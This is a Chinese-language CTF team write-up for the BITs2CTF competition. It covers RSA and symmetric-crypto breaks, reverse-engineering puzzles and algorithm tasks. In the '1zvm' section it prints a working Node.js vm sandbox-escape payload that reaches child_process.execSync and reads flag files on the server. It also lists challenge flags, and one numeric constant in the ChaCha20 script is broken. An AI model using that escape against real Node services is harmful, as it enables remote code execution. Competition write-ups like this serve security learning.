战队名称

码语者

比赛排名

总分数：4208

学生组/大一新生组排名：15

总排名：15

战队成员

annoying、刘星羽

ovdoes、朱奕帆

timetraveller、王震

Are you crazy

该挑战的脚本 Are you crazy.py 实现了一种自定义的类似 RSA 的加密方案，其中存在密钥生成过程和消息构造中的漏洞。

1、漏洞的密钥生成

密钥生成使用了两个函数：parinad(n)和 vinad(x, R)。

parinad(n)计算的是 n 的海明重量的奇偶性（即 1 的个数的奇偶性）。这是一个线性函数，具有 GF(2)的性质：parinad(a ^ b) = parinad(a) ^ parinad(b)。

vinad(x, R)生成一个整数，其中第 i 个比特是 parinad(x ^ R[i])。

利用线性性质：

bit_i = parinad(x ^ R[i]) = parinad(x) ^ parinad(R[i])

这意味着生成的数字的第 i 个比特仅依赖于常数 parinad(R[i])和单个位 parinad(x)。

由于 parinad(x)只能是 0 或 1，vinad(x, R)只能生成两种可能的值：

当 parinad(x) = 0 时，生成值 K。

当 parinad(x) = 1 时，生成值~K（K 的按位取反，掩码为 nbit）。

素数 p 是通过 p = vinad(r, R)生成的。由于我们给出了 R，可以重构出 p 的两个可能值，其中一个一定会整除公钥模数 n。这使我们能够将 n 分解为 p 和 q。

公钥指数 e 是通过 vinad(r + 0x10001, R)生成的，它也是从 R 中派生的两种可能值之一。我们可以测试两个候选值，查看哪个适合用于解密（与 ϕ(n)互质）。

2、消息恢复和因式分解

加密消息是 m，加密后的结果 c = (m + sum(R))^e mod n。

一旦我们恢复了 p、q 和 e，我们可以解密 c 得到 m + sum(R)，然后减去 sum(R)来恢复原始消息 m。

消息 m 是通过 m = m1 * m2 构造的，其中 m1 和 m2 是通过 getPrime1(512)生成的素数。

getPrime1 生成的素数 p 使得 p-1 是小素数的乘积（来自 sieve_base，通常包含前 10,000 个素数）。这意味着 m1-1 和 m2-1 是平滑数。

具有此性质的数字容易受到 Pollard's p-1 算法的攻击。该算法可以高效地分解合成数 N，如果它具有一个因数 p，使得 p-1 是平滑数。我们可以使用此算法将 m 分解为 m1 和 m2。

解题步骤

解析输出：从 output.txt 中读取 R、n 和 c。

恢复 p：从 R 中重构出两个候选的 p。通过与 n 的 GCD 检查，找到正确的 p。

恢复 e：从候选中识别正确的 e。

解密：通过 m = pow(c, d, n) - sum(R)计算出 m。

因式分解 m：使用 Pollard's p-1 算法将 m 分解为 m1 和 m2。

获取 Flag：计算 m1 和 m2 的 MD5 哈希，以形成 flag。

Flag

找到两个可能的 flag 顺序（由于 m1 和 m2 在分解 m 时是对称的）：

选项 1：

BITs2CTF{d30f2f16df516c605d204dea2c5f2816<*_*>0f4491a5064d031e2bf271692c84034e}

选项 2：

BITs2CTF{0f4491a5064d031e2bf271692c84034e<*_*>d30f2f16df516c605d204dea2c5f2816}

经过尝试后，发现 flag 为：

BITs2CTF{d30f2f16df516c605d204dea2c5f2816<*_*>0f4491a5064d031e2bf271692c84034e}

babyRSA

1、分解 N

关键观察：p 和 q 是连续的两个质数（q = nextprime(p)），这意味着它们非常接近。

由于 p 和 q 接近，我们可以：

- 计算 sqrt(N)，p 和 q 应该在这个值附近
- 从 sqrt(N) 附近开始搜索质数，找到能整除 N 的质数

或者使用费马分解法：

- 对于 N = p * q，如果 p 和 q 接近，可以设 a = (p+q)/2，b = (p-q)/2
- 则 N = a^2 - b^2，即 b^2 = a^2 - N
- 从 a = sqrt(N) 开始递增，直到 a^2 - N 是完全平方数

2、RSA 解密

分解 N 后，计算：

- $\phi(N) = (p-1) * (q-1)$
- $d = e^{(-1)} \bmod \phi(N)$
- c1 = m1^d mod N
- c2 = m2^d mod N

3、从 c1 和 c2 恢复 F1 和 F2

已知：

- c1 = F1 + F2 = s
- c2 = F1^3 + F2^3

利用立方和公式：

F1^3 + F2^3 = (F1 + F2)^3 - 3*F1*F2*(F1 + F2)

= s^3 - 3*F1*F2*s

因此：

c2 = s^3 - 3*F1*F2*s

3*F1*F2*s = s^3 - c2

F1*F2 = (s^3 - c2) / (3*s)

设 product = F1 * F2，则 F1 和 F2 是二次方程 x^2 - s*x + product = 0 的根。

判别式：delta = s^2 - 4*product

如果 delta >= 0 且是完全平方数，则：

F1 = (s + sqrt(delta)) / 2

F2 = (s - sqrt(delta)) / 2

4、恢复 Flag

将 F1 和 F2 转换为字节，然后组合。注意需要尝试两种顺序（F1+F2 和 F2+F1），选择包含 BITs2CTF{ 的选项。

解题脚本

python

```
from Crypto.Util.number import *
import sympy
import math

#读取密文
with open('secret.txt', 'r') as f:
    content = f.read()
    N = int(content.split('N=')[1].split('\n')[0])
    m1 = int(content.split('m1=')[1].split('\n')[0])
    m2 = int(content.split('m2=')[1].split('\n')[0])

#步骤 1: 分解 N
sqrt_N = int(sympy.sqrt(N))
p = None
q = None
start = sqrt_N - 1000

for i in range(start, start + 10000):
    if sympy.isprime(i):
        if N % i == 0:
            p = i
            q = N // p
            break

# 步骤 2: RSA 解密
e = 0x10001
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
c1 = pow(m1, d, N)
c2 = pow(m2, d, N)

# 步骤 3: 恢复 F1 和 F2
```

```
s = c1
product = (s * s * s - c2) // (3 * s)
delta = s * s - 4 * product
sqrt_delta = int(sympy.sqrt(delta))
F1 = (s + sqrt_delta) // 2
F2 = (s - sqrt_delta) // 2

# 步骤 4: 恢复 Flag
flag1_bytes = long_to_bytes(F1)
flag2_bytes = long_to_bytes(F2)
flag_option1 = flag1_bytes + flag2_bytes
flag_option2 = flag2_bytes + flag1_bytes

if b'BITs2CTF{' in flag_option2:
    flag = flag_option2.decode('utf-8', errors='ignore')
else:
    flag = flag_option1.decode('utf-8', errors='ignore')

print(f"Flag: {flag}")
```

Flag

BITs2CTF{isjna_cask_asdasfasqwe_dmqwo}

easyAES

1、由于 key 只有 2 个字节是随机的（重复 16 次），我们可以暴力破解这 2 个字节（总共 65536 种可能）。

对于每个可能的 2 字节 key：

（1） 构造完整的 32 字节 key（重复 16 次）

（2）计算 key_long = bytes_to_long(key)

（3）从 XOR 关系计算 iv_long = key_long ^ xor_value

（4）将 iv_long 转换回 16 字节的 iv

（5）使用 key 和 iv 尝试解密 flag

（6）检查解密结果是否为可打印的 ASCII 字符（flag 格式）

2、解题脚本

python

```
from Crypto.Cipher import AES
from Crypto.Util.number import *

# Given values
xor_value = 54755426038978086460310747316994556563126341157253266647920514387148480709140
enc_flag = b'K\x04?\'\xc1<\xe0\x15\xd2i\x8b\xb1"9?)\x1a\xb3)\xd6a\xfa\x9c\x84*\x0fi\xf7\xa4\x85\xd2\x1d'

# Brute force the 2-byte key (0-65535)
for key_2bytes in range(65536):
    # Construct the 32-byte key by repeating 2 bytes 16 times
    key_bytes = (key_2bytes.to_bytes(2, 'big') * 16)
    key_long = bytes_to_long(key_bytes)

    # Calculate iv_long from XOR relationship
    iv_long = key_long ^ xor_value

    # Convert back to bytes
    iv_bytes = long_to_bytes(iv_long)

    # Check if iv is exactly 16 bytes
    if len(iv_bytes) <= 16:
```

```
        # Pad to 16 bytes if needed
        if len(iv_bytes) < 16:
            iv_bytes = b'\x00' * (16 - len(iv_bytes)) + iv_bytes

        try:
            # Try to decrypt
            aes = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
            decrypted = aes.decrypt(enc_flag)

            # Check if decrypted result looks like a flag (printable ASCII)
            if all(32 <= b <= 126 or b in [9, 10, 13] for b in decrypted):
                print(f"Key (2 bytes): {key_2bytes:04x}")
                print(f"Key (full): {key_bytes.hex()}")
                print(f"IV: {iv_bytes.hex()}")
                print(f"Flag: {decrypted.decode('ascii')}")
                break
        except Exception:
            continue
```

/3、结果

成功找到 key 和 iv：

- Key (2 bytes):0x790e(30990)

-Key(full):790e790e790e790e790e790e790e790e790e790e790e790e790e790e790e790e790e

- IV: 6023e2df6f3ad7da6a1a73819cf67b1a
- Flag: BITs2CTF{sjcihd_enf_huidjx_hsid}

remaining thing

1、提取参数

从题目文件中提取：

-e = 3

- N1, N2, N3（三个模数）

- C1, C2, C3（三个密文）

2、实现 CRT

使用扩展欧几里得算法计算模逆，然后应用 CRT 公式：

python

```
def crt(n_list, a_list):
    N = 1
    for n in n_list:
        N *= n

    result = 0
    for i, (n_i, a_i) in enumerate(zip(n_list, a_list)):
        N_i = N // n_i
        x_i = mod_inverse(N_i, n_i)
        result += a_i * N_i * x_i

    return result % N
```

3、计算 m^3

python

```
m_cubed = crt([N1, N2, N3], [C1, C2, C3])
```

4、开三次方根

python

```
m = iroot(m_cubed, 3)
```

5、转换为字符串

python

```
flag = long_to_bytes(m).decode('utf-8')
```

完整代码

见 solve.py 文件。

Flag

BITs2CTF{^_^cRVni_aXinSsd_fJnebvooo^_^}

防御措施

要防止这种攻击，应该：

（1）使用较大的公钥指数：避免使用 e=3，推荐使用 e=65537

（2）添加随机填充：使用 PKCS#1 v1.5 或 OAEP 填充，确保每次加密的消息都不同

（3）使用较大的消息：确保 m^e 接近或大于模数，这样 CRT 恢复的值就不是完整的 m^e

6、参考资料

- Hastad, J. (1985). "On using RSA with low exponent in a public key network"
- Chinese Remainder Theorem
- RSA Cryptosystem

1zvm

1、通过执行简单的表达式 1+1*2 得到结果 3，说明后端直接运行表达式并返回结果，而不是仅捕获 console.log 的输出。这表明没有严格限制全局对象。通过原型链可以轻松逃逸并获得 process，从而执行系统命令。

这是经典的 Function 构造器逃逸 → 获取 process → require('child_process') → 执行 RCE 的漏洞链。

漏洞原理

在沙箱中，this.constructor 通常是 Object：

Object.constructor === Function

因此，可以通过以下代码获取原生的 Function 构造器：

javascript

this.constructor.constructor("return process")()

这样就能获得真实的 Node.js 的 process 对象。获取到 process 后，可以使用 require('child_process') 执行系统命令，读取 flag。

2、最终输入的兼容性最强的 Payload：

javascript

constexec=this.constructor.constructor("return process.mainModule.require('child_process').execSync")();

exec('cat /flag* || head -n1 /f* || ls -la /*flag*')

分析如下：

this.constructor.constructor → 恢复 Function 构造器。

Function 构造器创建的函数返回 process.mainModule.require('child_process').execSync，即直接获取 execSync 函数指针。

3、最后调用 execSync(...) 执行命令。

成功读取 Flag

执行 Payload 后，服务器返回：

BITs2CTF{8e27122d-24ef-44e1-8504-9f4b9a7b907f}。

ChaCha20

1、从 result.txt 中读取已知的 k1, n1 和密文 ciphertext。

2、爆破种子 seed，范围是 0 到 99。

3、对于每一个种子：

设置 random.seed(seed)。

生成对应的 k2 和 n2。

计算 key = k1 ^ k2 和 nonce = n1 ^ n2。

尝试使用 ChaCha20 解密密文。

检查解密结果是否包含 flag 格式（如 flag{, BITs2CTF{ 等）。

4、解题脚本

python

```
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms
from cryptography.hazmat.backends import default_backend
from Crypto.Util.number import long_to_bytes
import random

#来自 result.txt 的已知数据
k1 = 89156737880809474145449532029493055444849328922741582677584755390029529653680
n1 = 209794022060737284785334570850445075 92
encrypted_hex = "a8c123f27ed9d34a6040a98f0b9d5e22930ca34bd3195e27a1e73725aba2f3eff888"
encrypted_data = bytes.fromhex(encrypted_hex)

def chacha20_decrypt(ciphertext, key, nonce):
    cipher = Cipher(algorithms.ChaCha20(key, nonce), None, default_backend())
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)

print("Starting brute force...")

#爆破种子 0-99
for seed_val in range(100):
    random.seed(seed_val)
```

```
    k2 = random.getrandbits(128)
    n2 = random.getrandbits(64)

    key_int = k1 ^ k2
    nonce_int = n1 ^ n2

    key = long_to_bytes(key_int)
    nonce = long_to_bytes(nonce_int)

    key = key.rjust(32, b'\x00')
    nonce = nonce.rjust(16, b'\x00')

    try:
        plaintext = chacha20_decrypt(encrypted_data, key, nonce)
        if b'CTF{' in plaintext or b'flag' in plaintext or b'BITs' in plaintext:
            print(f"Found potential flag with seed {seed_val}:")
            print(plaintext.decode('utf-8', errors='ignore'))
            break
    except Exception:
        pass
```

5、运行结果

运行脚本后，在种子为 37 时成功解出 Flag：

Found potential flag with seed 37:

BITs2CTF{pyc_reverse_is_important}

Flag: BITs2CTF{pyc_reverse_is_important}

Easy_maze

1、迷宫结构与移动规则

迷宫数据

通过分析 Maze::Maze (0x422970) 构造函数，我们可以提取出迷宫的布局。迷宫大小看起来是 6 层，每层 6x6 大小（通过 b 变量模 6 和除 6 来判断行和列，a 变量控制层）。

移动指令 (Maze::ifchar)

分析 Maze::ifchar (0x4015CC) 及其调用的 up, down, left, right, front, back 函数：

层级控制：

A - I: 调用 Maze::up (++a, 层数+1)

J - Q: 层数不变

R - Z: 调用 Maze::down (--a, 层数-1)

平面移动：

这三组字符在平面上的移动逻辑是一致的：

J (对应 A, R): Left + Front -> (-1, -1)

K (对应 B, S): Front -> (-1, 0)

L (对应 C, T): Right + Front -> (-1, 1)

M (对应 D, U): Left -> (0, -1)

N (对应 E, V): 原地不动 (题目中未直接体现，推测为中间值，但代码逻辑中 check 不允许重访，所以通常是移动到相邻格)

反编译代码：

J: Left, Front

K: Front

L: Right, Front

M: Left

N: Right

O: Left, Back

P: Back

Q: Right, Back (default case)

整理出完整的方向映射表 (dz, dr, dc)

2、解题脚本

编写 Python 脚本，将 IDA 中提取的坐标硬编码，使用 DFS (深度优先搜索) 寻找路径。

核心逻辑

（1） 定义所有 valid_nodes。

（2）定义起点 (0,0,0)。

（3）定义字符到坐标变化的映射 moves。

（4）递归搜索：尝试所有可能的移动，如果新位置在 valid_nodes 中且未访问过，则继续。

（5）当路径长度达到 27 且所有节点已访问时，输出路径。

Solver 代码 (摘录)

python

```
import collections
# ... (坐标数据省略，详见 solve_maze.py) ...
# 移动映射
moves = {}
# Flat (dz=0)
moves[(0, -1, -1)] = 'J'; moves[(0, -1, 0)] = 'K'; moves[(0, -1, 1)] = 'L'
moves[(0, 0, -1)] = 'M';                                    moves[(0, 0, 1)] = 'N'
moves[(0, 1, -1)] = 'O';    moves[(0, 1, 0)] = 'P';    moves[(0, 1, 1)] = 'Q'
# Up (dz=1) 和 Down (dz=-1) 同理...
def solve(current_node, path, visited):
    if len(path) == 27:
        return "".join(path)
    # ... DFS 逻辑 ...
```

3、最终结果

运行脚本得到 flag 内容：

QHGIIVVWRKECAEWNVUTQPHEEEGQ

Flag:

BITs2CTF{QHGIIVVWRKECAEWNVUTQPHEEEGQ}

math

1、主函数

main 函数会提示用户输入 6 个无符号整数：a, b, c, d, e, f。然后，它将这些输入传递给 judge 函数。如果 judge 函数返回 true，则会打印出格式为 BITs2CTF{%x%x%x%x%x%x}的 flag，使用这些输入的十六进制表示。

2、Judge 函数

judge 函数首先检查所有输入是否在[100000, 999999]的范围内。然后，它通过四个辅助函数：fun1、fun2、fun3、fun4 计算若干值。

通过分析这些函数的汇编或反编译代码，我们确定了它们的操作：

fun1(x, y)：按位全加法循环 -> 加法 x + y

fun2(x, y)：调用 fun1(x, -y) -> 减法 x - y

fun3(x, y)：移位加法循环 -> 乘法 x * y

fun4(x, y)：按位 XOR 循环 -> 按位异或 x ^ y

方程

judge 函数验证以下条件：

(a + b) % 951081 == 597141

(a - b) + 2*c == 1644082

(4 * f) ^ d == 1161537

5 * (d - e) == 343890

a + f == 1136538

2*d + e == 1952901（通过 3*d - (d-e) 推导得到）

解决方案（此处使用了 AI 辅助）

我们可以通过线性方式解这个方程组：

从方程 4 得出：d - e = 343890 / 5 = 68778

从方程 6 和方程 4 得出：3*d - (d - e) = 1952901 -> 3*d = 1952901 + 68778 = 2021679 -> d = 673893

e = d - 68778 = 605115

从方程 3 得出：4*f = 1161537 ^ d，f = (1161537 ^ 673893) / 4 = 457801

从方程 5 得出：a = 1136538 - f = 678737

从方程 1 得出：a + b 为 597141 或 597141 + 951081。由于 a 大约是 678k，因此 a + b 必须大于 597k。

a + b = 1548222 -> b = 1548222 - a = 869485

从方程 2 得出：2*c = 1644082 - (a - b)，c = (1644082 - (678737 - 869485)) / 2 = 917415

所有值都在要求的范围内。

3、脚本

编写了一个 Python 脚本来自动执行这些计算：

python

```
# 求解脚本逻辑
d = 673893
e = 605115
f = 457801
a = 678737
b = 869485
c = 917415
```

Flag

将这些值转换为十六进制并连接起来：

a -> a5b51

b -> d446d

c -> dffa7

d -> a4865

e -> 93bbb

f -> 6fc49

Flag: BITs2CTF{a5b51d446ddffa7a486593bbb6fc49}。

奶龙与小七之大战 Web Assembly

1、由于 check() 函数验证每个字符是独立的，我们可以对每个位置进行 暴力破解：

对于每个位置 i 从 0 到 76

尝试所有可打印的 ASCII 字符（32-126）

调用 check(i, char_code, enc[i])

如果返回 1，说明我们找到了正确的字符！

这种方法比尝试所有可能的 flag 组合要高效得多，因为：

时间复杂度：O(n × m)，其中 n = flag 长度(77)，m = ASCII 范围(~95)

总尝试次数：约 7,315 次，相比于完整的暴力破解 95^77 次要少得多

2、结果

运行求解脚本成功逐个恢复 flag 的字符：

```
[+] Position  0: 'B' (ASCII  66)
[+] Position  1: 'I' (ASCII  73)
[+] Position  2: 'T' (ASCII  84)
[+] Position  3: 's' (ASCII 115)
...
[+] Position 76: '}' (ASCII 125)
```

Flag: BITs2CTF{W311_d0n3!_Y0u'v3_5ucc355fu11y_d3f3473d_7h3_84084010n6_4nd_h15_W45m}

解码信息：“Well done! You've successfully defeated the obfuscation and his WASM”

3、使用的工具

Python 3.12 - 编程语言

wasmtime - 用于执行 WASM 模块的 Python 库

IDA Pro - (初步尝试)用于 WASM 分析的反汇编/调试工具

A.故障机器人

最优（也是唯一）策略

因为机器人永远只会打当前血量最少的异鸟，所以最合理的做法就是把所有异鸟按血量从小到大排序，依次彻底击杀。任何时候提前打血量大的都没有好处。

1、核心观察与数学推导

将所有异鸟血量排序：$a_1 \leqslant a_2 \leqslant \cdots \leqslant a_n$

定义：

ceil(x) = ⌈ x/3⌉ 表示击杀血量为 x 的异鸟需要的攻击次数

prefix[k] = ∑_{i=1}^k ceil(a_i) 表示彻底杀光最小的 k 只异鸟总共需要的攻击次数

现在考虑每只异鸟到底在多少个回合结束时对机器人造成了伤害（即存活了多少回合并成功反击）：

对于排序后的第 i 只异鸟：

它总共被攻击 ceil(a_i) 次，最后一次攻击才死亡

在这之前的前 (ceil(a_i)-1) 次攻击以及杀光前 (i-1) 只异鸟的所有攻击中，它一直活着并在回合结束时反击

所以它反击的次数 = prefix[i] − 1

因此总伤害 = ∑{i=1}^n (prefix[i] − 1) = ∑{i=1}^n prefix[i] − n

2、公式验证

输入：1 1 4 5（排序后）

ceil 值：1, 1, 2, 2

prefix：1 → 2 → 4 → 6

∑ prefix = 1+2+4+6 = 13

答案 = 13 − 4 = 9 正确

另一个样例 n=1, a=1 → prefix=[1] → 1−1=0 也正确。

3、时间复杂度

排序 O(n log n) + 一遍前缀和 O(n) → 通过 $n \leqslant 1\times10^5$, $a_i \leqslant 1\times10^9$

4、AC 代码（Python3，最简洁版）

Python

```
import sys
input = sys.stdin.read
data = input().split()
n = int(data[0])
a = list(map(int, data[1:]))
a.sort()

prefix = 0
```

```
total = 0
for x in a:
    need = (x + 2) // 3          # ceil(x/3)
    prefix += need
    total += prefix
print(total - n)
```

B.QwQwQwQ

1、单个 q 的长度变化

只看一个字符 q，不断做操作：

- k = 0：q，长度 1
- k = 1：qwq，长度 3
- k = 2：把每个 q 变成 qwq：

  q w q
  ↓ ↓ ↓
  qwq w qwq → qwqwqwq，长度 7
- k = 3：对 qwqwqwq 中的所有 q 再做一次：
  得到 qwqwqwqwqwqwqwq，长度 15

观察长度序列：

1, 3, 7, 15, 31, ...

即：

len_q(k) = 2^(k+1) - 1

推导：

- 记 f(k) 为单个 q 经过 k 次操作后的长度。
- 每次操作：每个 q → qwq，所以
  - f(0) = 1
  - 每次旧的每个 q 都变成 3 个字符，其中有 2 个 q（q w q）。
  - 更简单的观察：实验得出的规律是 f(k) = 2 * f(k-1) + 1
    解这个递推式得：f(k) = 2^(k+1) - 1。

（此处使用了 AI 工具辅助）

实现时只需要：

- 对 k 比较大时，长度会爆炸，但我们只用来跟 x 比较，
  超过某个上界（如 1e10）就可以直接截断成一个“足够大”的数。

2、单个 q 的结构规律

继续观察一个 q 的展开结果：

- k = 1：qwq
- k = 2：qwqwqwq
- k = 3：qwqwqwqwqwqwqwq
- 进一步实验可以发现：

> 当 k ≥ 1 时，单个 q 展开后的字符串结构恒为：
> qwqwqwq...（长度为 2^(k+1)-1）
> 即：
> - 所有奇数位置是 q

> - 所有偶数位置是 w

因此我们可以得到函数（伪代码）：

python

```
def get_q_length(k):
    if k == 0: return 1
    # 太大就截断
    if k > 32: return 10**11
    return (1 << (k + 1)) - 1
def solve_q(k, x):
    #单个 q 经过 k 次操作后的第 x 个字符
    if k == 0:
        return 'q' if x == 1 else '0'
    length = get_q_length(k)
    if x > length:
        return '0'
    # k >= 1 时：奇数位 q，偶数位 w
    return 'q' if x % 2 == 1 else 'w'
```

这样就避免了对单个 q 的递归展开，时间/空间都 O(1)。

3、整串 s 的处理

整串 s 的变化：

- 非 q 字符在任何次数的操作中都不会改变也不会复制始终是原位置出现一次。
- 每个 q 会被替换成一个长度为 len_q(k) 的片段（上文已知）。

因此我们可以按顺序从左到右扫一遍原始串 s，用一个前缀长度变量 pos 记录“已经处理过的总长度”，对于查询 (k, x)：

- 初始化 pos = 0
- 遍历 s 中每个字符 c：
  - 如果 c == 'q'：
    - 该 q 在执行 k 次操作后会贡献 expanded_len = get_q_length(k) 个字符。
    - 若 pos + expanded_len >= x，说明目标位置 x 落在这个 q 展开的片段中：
      - 在这个片段中的位置为 offset = x - pos（1-based）
      - 直接调用 [solve_q(k,offset)](cci:1://file:///e:/0_worktable/CTF/web/tt/solve_B.py:30:0-49:47) 返回答案。
    - 否则 pos += expanded_len，继续下一个字符。
  - 否则（c 不是 q）：
    - 它就是当前段中的一个单字符。
    - 若 pos + 1 >= x，说明第 x 个字符就是这个 c。
    - 否则 pos += 1。

都没命中，则说明总长度 < x，输出 '0'。

伪代码：

python

```
def find_char(s, k, x):
    if k == 0:
        return s[x-1] if x <= len(s) else '0'
    pos = 0
    for c in s:
        if c == 'q':
            expanded_len = get_q_length(k)
            if pos + expanded_len >= x:
                offset = x - pos
                return solve_q(k, offset)
            pos += expanded_len
        else:
            pos += 1
            if pos >= x:
                return c
    return '0'
```

主流程：

python

```
def solve():
    s = input().strip()
    m = int(input())
    ans = []
    for _ in range(m):
        k, x = map(int, input().split())
        ans.append(find_char(s, k, x))
    print(''.join(ans))
```

4、复杂度分析

- 对每个询问 (k, x)：
  - 扫一遍字符串 s，长度 ≤ 1000。
  - 单次询问复杂度 O(|s|)，且 [get_q_length](cci:1://file:///e:/0_worktable/CTF/web/tt/solve_B.py:14:0-27:45) / [solve_q](cci:1://file:///e:/0_worktable/CTF/web/tt/solve_B.py:30:0-49:47) 都是 O(1)。
- 总复杂度：

  O(m * |s|)，上界约为 1e5 * 1e3 = 1e8 操作